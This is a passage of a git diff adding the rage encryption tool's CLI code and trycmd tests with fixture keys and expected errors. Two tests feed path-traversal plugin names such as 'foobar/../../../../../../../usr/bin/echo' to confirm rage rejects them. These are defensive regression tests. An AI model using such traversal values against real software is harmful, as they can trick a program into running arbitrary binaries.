age::Encryptor::with_user_passphrase(new_passphrase) + } + Err(pinentry::Error::Cancelled) => return Ok(()), + Err(pinentry::Error::Timeout) => return Err(error::EncryptError::PassphraseTimedOut), + Err(pinentry::Error::Encoding(e)) => { + // Pretend it is an I/O error + return Err(error::EncryptError::Io(io::Error::new( + io::ErrorKind::InvalidData, + e, + ))); + } + Err(pinentry::Error::Gpg(e)) => { + // Pretend it is an I/O error + return Err(error::EncryptError::Io(io::Error::new( + io::ErrorKind::Other, + format!("{}", e), + ))); + } + Err(pinentry::Error::Io(e)) => return Err(error::EncryptError::Io(e)), + } + } else { + if opts.recipient.is_empty() && opts.recipients_file.is_empty() && opts.identity.is_empty() + { + return Err(error::EncryptError::Age( + age::EncryptError::MissingRecipients, + )); + } + + let recipients = read_recipients( + opts.recipient, + opts.recipients_file, + opts.identity, + opts.max_work_factor, + &mut stdin_guard, + )?; + + age::Encryptor::with_recipients(recipients.iter().map(|r| r.as_ref() as _))? + }; + + let mut output = encryptor.wrap_output(ArmoredWriter::wrap_output(output, format)?)?; + + // Give more useful errors specifically when writing to the output. + let map_io_errors = |e: io::Error| match e.kind() { + io::ErrorKind::BrokenPipe => error::EncryptError::BrokenPipe { + is_stdout, + source: e, + }, + _ => e.into(), + }; + + const AGE_MAGIC: &[u8] = b"age-encryption.org/"; + const ARMORED_BEGIN_MARKER: &[u8] = b"-----BEGIN AGE ENCRYPTED FILE-----"; + let warn_double_encrypting = Box::new(|| { + warning!("warn-double-encrypting"); + Ok(()) + }); + + io::copy( + &mut ReadChecker::new( + input, + [ + (AGE_MAGIC, warn_double_encrypting.clone()), + (ARMORED_BEGIN_MARKER, warn_double_encrypting), + ], + ), + &mut output, + ) + .map_err(map_io_errors)?; + output + .finish() + .and_then(|armor| armor.finish()) + .map_err(map_io_errors)?; + + Ok(()) +} + +fn write_output( + mut input: R, + mut output: W, +) -> Result<(), error::DecryptError> { + io::copy(&mut input, &mut output)?; + + Ok(()) +} + +#[inline] +fn valid_plugin_name(plugin_name: &str) -> bool { + plugin_name + .bytes() + .all(|b| b.is_ascii_alphanumeric() | matches!(b, b'+' | b'-' | b'.' | b'_')) +} + +fn decrypt(opts: AgeOptions) -> Result<(), error::DecryptError> { + if opts.armor { + return Err(error::DecryptError::ArmorFlag); + } + if opts.passphrase { + return Err(error::DecryptError::PassphraseFlag); + } + + if !opts.recipient.is_empty() { + return Err(error::DecryptError::RecipientFlag); + } + if !opts.recipients_file.is_empty() { + return Err(error::DecryptError::RecipientsFileFlag); + } + + if !(opts.identity.is_empty() || opts.plugin_name.is_none()) { + return Err(error::DecryptError::MixedIdentityAndPluginName); + } + + #[cfg(not(unix))] + let has_file_argument = opts.input.is_some(); + + let (input, output) = set_up_io(opts.input, opts.output, file_io::OutputFormat::Unknown)?; + + let is_stdin = match input { + file_io::InputReader::File(_) => false, + file_io::InputReader::Stdin(_) => true, + }; + let mut stdin_guard = StdinGuard::new(is_stdin); + + let identities_were_provided = !opts.identity.is_empty(); + let stdin_identity = opts.identity.iter().any(|s| s == "-"); + let plugin_name = opts.plugin_name.as_deref().unwrap_or_default(); + let identities = if plugin_name.is_empty() { + read_identities(opts.identity, opts.max_work_factor, &mut stdin_guard)? + } else { + if !valid_plugin_name(plugin_name) { + return Err(age::DecryptError::MissingPlugin { + binary_name: plugin_name.into(), + } + .into()); + } + // Construct the default plugin. + vec![Box::new(plugin::IdentityPluginV1::new( + plugin_name, + &[plugin::Identity::default_for_plugin(plugin_name)], + UiCallbacks, + )?) as Box] + }; + + // CRLF_MANGLED_INTRO and UTF16_MANGLED_INTRO are the intro lines of the age format after + // mangling by various versions of PowerShell redirection, truncated to the length of the + // correct intro line. See https://github.com/FiloSottile/age/issues/290 for more info. + const CRLF_MANGLED_INTRO: &[u8] = b"age-encryption.org/v1\r"; + const UTF16_MANGLED_INTRO: &[u8] = + b"\xff\xfea\x00g\x00e\x00-\x00e\x00n\x00c\x00r\x00y\x00p\x00"; + let err_powershell_corruption = Box::new(|| { + Err(io::Error::new( + io::ErrorKind::InvalidInput, + error::DetectedPowerShellCorruptionError, + )) + }); + + let input = ReadChecker::new( + input, + [ + (CRLF_MANGLED_INTRO, err_powershell_corruption.clone()), + (UTF16_MANGLED_INTRO, err_powershell_corruption), + ], + ); + + let decryptor = age::Decryptor::new_buffered(ArmoredReader::new(input))?; + + if decryptor.is_scrypt() { + if identities_were_provided { + return Err(error::DecryptError::MixedIdentityAndPassphrase); + } + + // The `rpassword` crate opens `/dev/tty` directly on Unix, so we don't have + // any conflict with stdin. + #[cfg(not(unix))] + { + if !has_file_argument { + return Err(error::DecryptError::PassphraseWithoutFileArgument); + } + } + + match read_secret(&fl!("type-passphrase"), &fl!("prompt-passphrase"), None) { + Ok(passphrase) => { + let mut identity = scrypt::Identity::new(passphrase); + if let Some(max_work_factor) = opts.max_work_factor { + identity.set_max_work_factor(max_work_factor); + } + + decryptor + .decrypt(Some(&identity as _).into_iter()) + .map_err(|e| e.into()) + .and_then(|input| write_output(input, output)) + } + Err(pinentry::Error::Cancelled) => Ok(()), + Err(pinentry::Error::Timeout) => Err(error::DecryptError::PassphraseTimedOut), + Err(pinentry::Error::Encoding(e)) => { + // Pretend it is an I/O error + Err(error::DecryptError::Io(io::Error::new( + io::ErrorKind::InvalidData, + e, + ))) + } + Err(pinentry::Error::Gpg(e)) => { + // Pretend it is an I/O error + Err(error::DecryptError::Io(io::Error::new( + io::ErrorKind::Other, + format!("{}", e), + ))) + } + Err(pinentry::Error::Io(e)) => Err(error::DecryptError::Io(e)), + } + } else { + if identities.is_empty() { + return Err(error::DecryptError::MissingIdentities { stdin_identity }); + } + + decryptor + .decrypt(identities.iter().map(|i| i.as_ref() as &dyn Identity)) + .map_err(|e| e.into()) + .and_then(|input| write_output(input, output)) + } +} + +fn main() -> Result<(), error::Error> { + use std::env::args; + + env_logger::builder() + .format_timestamp(None) + .filter_level(log::LevelFilter::Off) + .parse_default_env() + .init(); + + let requested_languages = DesktopLanguageRequester::requested_languages(); + i18n::load_languages(&requested_languages); + age::localizer().select(&requested_languages).unwrap(); + + // If you are piping input with no other args, this will not allow + // it. + if console::user_attended() && args().len() == 1 { + AgeOptions::command() + .print_help() + .map_err(error::EncryptError::Io)?; + return Ok(()); + } + + let opts = AgeOptions::parse(); + + if opts.encrypt && opts.decrypt { + return Err(error::Error::MixedEncryptAndDecrypt); + } + if !(opts.identity.is_empty() || opts.encrypt || opts.decrypt) { + return Err(error::Error::IdentityFlagAmbiguous); + } + + if let (Some(in_file), Some(out_file)) = (&opts.input, &opts.output) { + // Check that the given filenames do not correspond to the same file. + let in_path = Path::new(&in_file); + let out_path = Path::new(&out_file); + match (in_path.canonicalize(), out_path.canonicalize()) { + (Ok(in_abs), Ok(out_abs)) if in_abs == out_abs => { + return Err(error::Error::SameInputAndOutput(out_file.clone())); + } + _ => (), + } + } + + if opts.decrypt { + decrypt(opts).map_err(error::Error::from) + } else { + encrypt(opts).map_err(error::Error::from) + } +} diff --git a/lib/rage/rage/tests/cli_tests.rs b/lib/rage/rage/tests/cli_tests.rs new file mode 100644 index 0000000..adc8782 --- /dev/null +++ b/lib/rage/rage/tests/cli_tests.rs @@ -0,0 +1,12 @@ +#[test] +fn cli_tests() { + let tests = trycmd::TestCases::new(); + + tests.case("tests/cmd/*/*.toml"); + + #[cfg(unix)] + tests.case("tests/unix/*/*.toml"); + + #[cfg(not(unix))] + tests.case("tests/windows/*/*.toml"); +} diff --git a/lib/rage/rage/tests/cmd/rage-keygen/gen-output-invalid-filename.toml b/lib/rage/rage/tests/cmd/rage-keygen/gen-output-invalid-filename.toml new file mode 100644 index 0000000..d8b01cd --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage-keygen/gen-output-invalid-filename.toml @@ -0,0 +1,10 @@ +bin.name = "rage-keygen" +args = "-o ''" +status = "failed" +stdout = "" +stderr = """ +Error: Failed to open output: invalid filename ''. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage-keygen/gen-output-missing-directory.toml b/lib/rage/rage/tests/cmd/rage-keygen/gen-output-missing-directory.toml new file mode 100644 index 0000000..e05627b --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage-keygen/gen-output-missing-directory.toml @@ -0,0 +1,10 @@ +bin.name = "rage-keygen" +args = "-o does-not-exist/key.txt" +status = "failed" +stdout = "" +stderr = """ +Error: Failed to open output: directory 'does-not-exist' does not exist. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage-keygen/gen-output.out/key.txt b/lib/rage/rage/tests/cmd/rage-keygen/gen-output.out/key.txt new file mode 100644 index 0000000..accd9ff --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage-keygen/gen-output.out/key.txt @@ -0,0 +1,3 @@ +# created: 20[..]-[..]-[..]T[..]:[..]:[..]Z +# public key: age1[..] +AGE-SECRET-KEY-1[..] \ No newline at end of file diff --git a/lib/rage/rage/tests/cmd/rage-keygen/gen-output.toml b/lib/rage/rage/tests/cmd/rage-keygen/gen-output.toml new file mode 100644 index 0000000..3805019 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage-keygen/gen-output.toml @@ -0,0 +1,6 @@ +bin.name = "rage-keygen" +args = "-o key.txt" +stdout = "" +stderr = """ +Public key: age1[..] +""" diff --git a/lib/rage/rage/tests/cmd/rage-keygen/gen-stdout.toml b/lib/rage/rage/tests/cmd/rage-keygen/gen-stdout.toml new file mode 100644 index 0000000..e9490e0 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage-keygen/gen-stdout.toml @@ -0,0 +1,11 @@ +bin.name = "rage-keygen" +args = "" +stdout = """ +# created: 20[..]-[..]-[..]T[..]:[..]:[..]Z +# public key: age1[..] +AGE-SECRET-KEY-1[..] +""" +# Because trycmd isn't a terminal, rage-keygen thinks stdout is piped to a file. +stderr = """ +Public key: age1[..] +""" diff --git a/lib/rage/rage/tests/cmd/rage-keygen/help.toml b/lib/rage/rage/tests/cmd/rage-keygen/help.toml new file mode 100644 index 0000000..bfdee1b --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage-keygen/help.toml @@ -0,0 +1,15 @@ +bin.name = "rage-keygen" +args = "--help" +stdout = """ +Usage: rage-keygen[EXE] [OPTIONS] [INPUT] + +Arguments: + [INPUT] Path to a file to read from. + +Options: + -h, --help Print this help message and exit. + -V, --version Print version info and exit. + -o, --output Write the result to the file at path OUTPUT. Defaults to standard output. + -y Convert an identity file to a recipients file. +""" +stderr = "" diff --git a/lib/rage/rage/tests/cmd/rage-keygen/help_it.toml b/lib/rage/rage/tests/cmd/rage-keygen/help_it.toml new file mode 100644 index 0000000..8beca59 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage-keygen/help_it.toml @@ -0,0 +1,16 @@ +bin.name = "rage-keygen" +args = "--help" +env.add.LC_ALL = "it" +stdout = """ +Utilizzo: rage-keygen[EXE] [OPTIONS] [INPUT] + +Argomenti: + [INPUT] Posizione di un file di input. + +Opzioni: + -h, --help Presenta questo messaggio e esci. + -V, --version Presenta la versione e esci. + -o, --output Scrivi l'output al file OUTPUT. Standard output di default. + -y Converti un file di identità in un file di destinatari. +""" +stderr = "" diff --git a/lib/rage/rage/tests/cmd/rage-keygen/version.toml b/lib/rage/rage/tests/cmd/rage-keygen/version.toml new file mode 100644 index 0000000..592c1fb --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage-keygen/version.toml @@ -0,0 +1,6 @@ +bin.name = "rage-keygen" +args = "--version" +stdout = """ +rage-keygen 0.11.1 +""" +stderr = "" diff --git a/lib/rage/rage/tests/cmd/rage-mount/help.toml b/lib/rage/rage/tests/cmd/rage-mount/help.toml new file mode 100644 index 0000000..9d41fbd --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage-mount/help.toml @@ -0,0 +1,17 @@ +bin.name = "rage-mount" +args = "--help" +stdout = """ +Usage: rage-mount[EXE] [OPTIONS] --types + +Arguments: + The encrypted filesystem to mount. + The directory to mount the filesystem at. + +Options: + -h, --help Print this help message and exit. + -V, --version Print version info and exit. + -t, --types Indicates the filesystem type (one of "tar", "zip"). + --max-work-factor Maximum work factor to allow for passphrase decryption. + -i, --identity Use the identity file at IDENTITY. May be repeated. +""" +stderr = "" diff --git a/lib/rage/rage/tests/cmd/rage-mount/help_it.toml b/lib/rage/rage/tests/cmd/rage-mount/help_it.toml new file mode 100644 index 0000000..46ff70c --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage-mount/help_it.toml @@ -0,0 +1,18 @@ +bin.name = "rage-mount" +args = "--help" +env.add.LC_ALL = "it" +stdout = """ +Utilizzo: rage-mount[EXE] [OPTIONS] --types + +Argomenti: + Il filesystem cifrato da montare. + La cartella su cui montare il filesystem. + +Opzioni: + -h, --help Presenta questo messaggio e esci. + -V, --version Presenta la versione e esci. + -t, --types Il tipo del filesystem (uno di "tar", "zip"). + --max-work-factor Fattore di complessità massima per decifrare passphrase. + -i, --identity Usa il file IDENTITÀ. Può essere ripetuto. +""" +stderr = "" diff --git a/lib/rage/rage/tests/cmd/rage-mount/version.toml b/lib/rage/rage/tests/cmd/rage-mount/version.toml new file mode 100644 index 0000000..e30e8af --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage-mount/version.toml @@ -0,0 +1,6 @@ +bin.name = "rage-mount" +args = "--version" +stdout = """ +rage-mount 0.11.1 +""" +stderr = "" diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-armor-flag.toml b/lib/rage/rage/tests/cmd/rage/decrypt-armor-flag.toml new file mode 100644 index 0000000..a101200 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-armor-flag.toml @@ -0,0 +1,12 @@ +bin.name = "rage" +args = "--decrypt --armor" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: -a/--armor can't be used with -d/--decrypt. +Note that armored files are detected automatically. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-filein-fileout-long.in/file.age.txt b/lib/rage/rage/tests/cmd/rage/decrypt-filein-fileout-long.in/file.age.txt new file mode 100644 index 0000000..6f9dc67 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-filein-fileout-long.in/file.age.txt @@ -0,0 +1,8 @@ +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBHUGc3Zlhpekp0K012aXdu +T1VZN0lmWlRmNjdLYVB4RldkTFVLTkNDUXlBCmJjRUcrM3E0a0U0N3IyK1JsTitG +dHVTd0N6TVFRTWgzdG5uSzJmNm9YMTgKLT4gQXQ1WWAtZ3JlYXNlIDxodGFSVHJg +IFg0cWYsO0ogZ2Fzc1EKZGtPSTB3Ci0tLSBKazRIaHJxdnNJcHpyclRkQjg3QW5r +SVE2MHdtWkErYTNrNWJibWd1bmNBCkK9FoOkiLB93gD79vNed8L3LM9rhKm5qma2 +lSiwRx/aM1DKaZO0CMmYQkoM2tPReA== +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-filein-fileout-long.in/key.txt b/lib/rage/rage/tests/cmd/rage/decrypt-filein-fileout-long.in/key.txt new file mode 100644 index 0000000..91b9f11 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-filein-fileout-long.in/key.txt @@ -0,0 +1,3 @@ +# created: 2024-01-07T22:30:16Z +# public key: age1g8g50ksmsfxuv4rpyhlnau8tx87y2xz8v4agzs2vltcxlssy2qwqq6qc4t +AGE-SECRET-KEY-1SRQGS50G584HFA5JG9D6D9S6639VVHJUE5XHHKJET9DRU76HK4RQP0X5Q3 diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-filein-fileout-long.out/file.txt b/lib/rage/rage/tests/cmd/rage/decrypt-filein-fileout-long.out/file.txt new file mode 100644 index 0000000..ae4d0d4 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-filein-fileout-long.out/file.txt @@ -0,0 +1 @@ +Test plaintext. diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-filein-fileout-long.toml b/lib/rage/rage/tests/cmd/rage/decrypt-filein-fileout-long.toml new file mode 100644 index 0000000..105c114 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-filein-fileout-long.toml @@ -0,0 +1,5 @@ +bin.name = "rage" +args = "--decrypt --identity key.txt --output file.txt file.age.txt" +stdin = "" +stdout = "" +stderr = "" diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-identity-no-comment-or-newline.in/file.age.txt b/lib/rage/rage/tests/cmd/rage/decrypt-identity-no-comment-or-newline.in/file.age.txt new file mode 100644 index 0000000..6f9dc67 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-identity-no-comment-or-newline.in/file.age.txt @@ -0,0 +1,8 @@ +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBHUGc3Zlhpekp0K012aXdu +T1VZN0lmWlRmNjdLYVB4RldkTFVLTkNDUXlBCmJjRUcrM3E0a0U0N3IyK1JsTitG +dHVTd0N6TVFRTWgzdG5uSzJmNm9YMTgKLT4gQXQ1WWAtZ3JlYXNlIDxodGFSVHJg +IFg0cWYsO0ogZ2Fzc1EKZGtPSTB3Ci0tLSBKazRIaHJxdnNJcHpyclRkQjg3QW5r +SVE2MHdtWkErYTNrNWJibWd1bmNBCkK9FoOkiLB93gD79vNed8L3LM9rhKm5qma2 +lSiwRx/aM1DKaZO0CMmYQkoM2tPReA== +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-identity-no-comment-or-newline.toml b/lib/rage/rage/tests/cmd/rage/decrypt-identity-no-comment-or-newline.toml new file mode 100644 index 0000000..b135308 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-identity-no-comment-or-newline.toml @@ -0,0 +1,7 @@ +bin.name = "rage" +args = "-d -i - file.age.txt" +stdin = "AGE-SECRET-KEY-1SRQGS50G584HFA5JG9D6D9S6639VVHJUE5XHHKJET9DRU76HK4RQP0X5Q3" +stdout = """ +Test plaintext. +""" +stderr = "" diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-identity-stdin.in/file.age.txt b/lib/rage/rage/tests/cmd/rage/decrypt-identity-stdin.in/file.age.txt new file mode 100644 index 0000000..6f9dc67 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-identity-stdin.in/file.age.txt @@ -0,0 +1,8 @@ +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBHUGc3Zlhpekp0K012aXdu +T1VZN0lmWlRmNjdLYVB4RldkTFVLTkNDUXlBCmJjRUcrM3E0a0U0N3IyK1JsTitG +dHVTd0N6TVFRTWgzdG5uSzJmNm9YMTgKLT4gQXQ1WWAtZ3JlYXNlIDxodGFSVHJg +IFg0cWYsO0ogZ2Fzc1EKZGtPSTB3Ci0tLSBKazRIaHJxdnNJcHpyclRkQjg3QW5r +SVE2MHdtWkErYTNrNWJibWd1bmNBCkK9FoOkiLB93gD79vNed8L3LM9rhKm5qma2 +lSiwRx/aM1DKaZO0CMmYQkoM2tPReA== +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-identity-stdin.toml b/lib/rage/rage/tests/cmd/rage/decrypt-identity-stdin.toml new file mode 100644 index 0000000..966eddc --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-identity-stdin.toml @@ -0,0 +1,11 @@ +bin.name = "rage" +args = "-d -i - file.age.txt" +stdin = """ +# created: 2024-01-07T22:30:16Z +# public key: age1g8g50ksmsfxuv4rpyhlnau8tx87y2xz8v4agzs2vltcxlssy2qwqq6qc4t +AGE-SECRET-KEY-1SRQGS50G584HFA5JG9D6D9S6639VVHJUE5XHHKJET9DRU76HK4RQP0X5Q3 +""" +stdout = """ +Test plaintext. +""" +stderr = "" diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-invalid-identity-chars.in/file.age.txt b/lib/rage/rage/tests/cmd/rage/decrypt-invalid-identity-chars.in/file.age.txt new file mode 100644 index 0000000..6f9dc67 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-invalid-identity-chars.in/file.age.txt @@ -0,0 +1,8 @@ +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBHUGc3Zlhpekp0K012aXdu +T1VZN0lmWlRmNjdLYVB4RldkTFVLTkNDUXlBCmJjRUcrM3E0a0U0N3IyK1JsTitG +dHVTd0N6TVFRTWgzdG5uSzJmNm9YMTgKLT4gQXQ1WWAtZ3JlYXNlIDxodGFSVHJg +IFg0cWYsO0ogZ2Fzc1EKZGtPSTB3Ci0tLSBKazRIaHJxdnNJcHpyclRkQjg3QW5r +SVE2MHdtWkErYTNrNWJibWd1bmNBCkK9FoOkiLB93gD79vNed8L3LM9rhKm5qma2 +lSiwRx/aM1DKaZO0CMmYQkoM2tPReA== +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-invalid-identity-chars.toml b/lib/rage/rage/tests/cmd/rage/decrypt-invalid-identity-chars.toml new file mode 100644 index 0000000..d3350d2 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-invalid-identity-chars.toml @@ -0,0 +1,13 @@ +bin.name = "rage" +args = "--decrypt --identity - file.age.txt" +status = "failed" +stdin = """ +AGE-PLUGIN-FOOBAR/../../../../../../../USR/BIN/ECHO-1HKGPY3 +""" +stdout = "" +stderr = """ +Error: identity file contains non-identity data on line 1 + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-invalid-plugin-name-chars.toml b/lib/rage/rage/tests/cmd/rage/decrypt-invalid-plugin-name-chars.toml new file mode 100644 index 0000000..968a8b2 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-invalid-plugin-name-chars.toml @@ -0,0 +1,12 @@ +bin.name = "rage" +args = "--decrypt -j foobar/../../../../../../../usr/bin/echo" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: Could not find 'foobar/../../../../../../../usr/bin/echo' on the PATH. +Have you installed the plugin? + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-missing-identities-file.toml b/lib/rage/rage/tests/cmd/rage/decrypt-missing-identities-file.toml new file mode 100644 index 0000000..0337af7 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-missing-identities-file.toml @@ -0,0 +1,20 @@ +bin.name = "rage" +args = "--decrypt -i key.txt" +status = "failed" +stdin = """ +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBHUGc3Zlhpekp0K012aXdu +T1VZN0lmWlRmNjdLYVB4RldkTFVLTkNDUXlBCmJjRUcrM3E0a0U0N3IyK1JsTitG +dHVTd0N6TVFRTWgzdG5uSzJmNm9YMTgKLT4gQXQ1WWAtZ3JlYXNlIDxodGFSVHJg +IFg0cWYsO0ogZ2Fzc1EKZGtPSTB3Ci0tLSBKazRIaHJxdnNJcHpyclRkQjg3QW5r +SVE2MHdtWkErYTNrNWJibWd1bmNBCkK9FoOkiLB93gD79vNed8L3LM9rhKm5qma2 +lSiwRx/aM1DKaZO0CMmYQkoM2tPReA== +-----END AGE ENCRYPTED FILE----- +""" +stdout = "" +stderr = """ +Error: Identity file not found: key.txt + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-missing-identities.toml b/lib/rage/rage/tests/cmd/rage/decrypt-missing-identities.toml new file mode 100644 index 0000000..17ec1c2 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-missing-identities.toml @@ -0,0 +1,21 @@ +bin.name = "rage" +args = "--decrypt" +status = "failed" +stdin = """ +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBHUGc3Zlhpekp0K012aXdu +T1VZN0lmWlRmNjdLYVB4RldkTFVLTkNDUXlBCmJjRUcrM3E0a0U0N3IyK1JsTitG +dHVTd0N6TVFRTWgzdG5uSzJmNm9YMTgKLT4gQXQ1WWAtZ3JlYXNlIDxodGFSVHJg +IFg0cWYsO0ogZ2Fzc1EKZGtPSTB3Ci0tLSBKazRIaHJxdnNJcHpyclRkQjg3QW5r +SVE2MHdtWkErYTNrNWJibWd1bmNBCkK9FoOkiLB93gD79vNed8L3LM9rhKm5qma2 +lSiwRx/aM1DKaZO0CMmYQkoM2tPReA== +-----END AGE ENCRYPTED FILE----- +""" +stdout = "" +stderr = """ +Error: Missing identities. +Did you forget to specify -i/--identity? + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-missing-input.toml b/lib/rage/rage/tests/cmd/rage/decrypt-missing-input.toml new file mode 100644 index 0000000..88b27c9 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-missing-input.toml @@ -0,0 +1,11 @@ +bin.name = "rage" +args = "--decrypt" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: failed to fill whole buffer + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-missing-stdin-identity.in/file.age.txt b/lib/rage/rage/tests/cmd/rage/decrypt-missing-stdin-identity.in/file.age.txt new file mode 100644 index 0000000..6f9dc67 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-missing-stdin-identity.in/file.age.txt @@ -0,0 +1,8 @@ +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBHUGc3Zlhpekp0K012aXdu +T1VZN0lmWlRmNjdLYVB4RldkTFVLTkNDUXlBCmJjRUcrM3E0a0U0N3IyK1JsTitG +dHVTd0N6TVFRTWgzdG5uSzJmNm9YMTgKLT4gQXQ1WWAtZ3JlYXNlIDxodGFSVHJg +IFg0cWYsO0ogZ2Fzc1EKZGtPSTB3Ci0tLSBKazRIaHJxdnNJcHpyclRkQjg3QW5r +SVE2MHdtWkErYTNrNWJibWd1bmNBCkK9FoOkiLB93gD79vNed8L3LM9rhKm5qma2 +lSiwRx/aM1DKaZO0CMmYQkoM2tPReA== +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-missing-stdin-identity.toml b/lib/rage/rage/tests/cmd/rage/decrypt-missing-stdin-identity.toml new file mode 100644 index 0000000..158d119 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-missing-stdin-identity.toml @@ -0,0 +1,12 @@ +bin.name = "rage" +args = "-d -i - file.age.txt" +status = "failed" +stdin = "" +stdout = "" +stderr = """ +Error: Missing identities. +Did you forget to provide the identity over standard input? + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-mixed-identity-and-passphrase.in/key.txt b/lib/rage/rage/tests/cmd/rage/decrypt-mixed-identity-and-passphrase.in/key.txt new file mode 100644 index 0000000..91b9f11 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-mixed-identity-and-passphrase.in/key.txt @@ -0,0 +1,3 @@ +# created: 2024-01-07T22:30:16Z +# public key: age1g8g50ksmsfxuv4rpyhlnau8tx87y2xz8v4agzs2vltcxlssy2qwqq6qc4t +AGE-SECRET-KEY-1SRQGS50G584HFA5JG9D6D9S6639VVHJUE5XHHKJET9DRU76HK4RQP0X5Q3 diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-mixed-identity-and-passphrase.toml b/lib/rage/rage/tests/cmd/rage/decrypt-mixed-identity-and-passphrase.toml new file mode 100644 index 0000000..87a50b7 --- /dev/null +++ b/lib/rage/rage/tests/cmd/rage/decrypt-mixed-identity-and-passphrase.toml @@ -0,0 +1,20 @@ +bin.name = "rage" +args = "--decrypt --identity key.txt" +status = "failed" +# Passphrase: foobar +stdin = """ +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IHNjcnlwdCBXWDZGUHRENjJxeGt5M1hU +cG83QjZnIDE5CkNDaXFUTnNNMzRaUzJwQzI1SnYxemg0dVdPY2hOTHJWWlhpT0ow +MXpqSFEKLS0tIFZpdUNKcGpiS3hoM0dqK0hrV2crN1FWTlgzMnI2WFQralQxMFRT +ZEE2STgKP9mM/XiDG/1ywkJwinSSQVzTCEt3v6BvjO9DyDg7l2uF60qdzXCY5qL/ +3jdrkFSp +-----END AGE ENCRYPTED FILE----- +""" +stdout = "" +stderr = """ +Error: -i/--identity can't be used with passphrase-encrypted files. + +[ Did rage not do what you expected? Could an error be more useful? ] +[ Tell us: https://str4d.xyz/rage/report ] +""" diff --git a/lib/rage/rage/tests/cmd/rage/decrypt-mixed-identity-and-plugin-name.toml 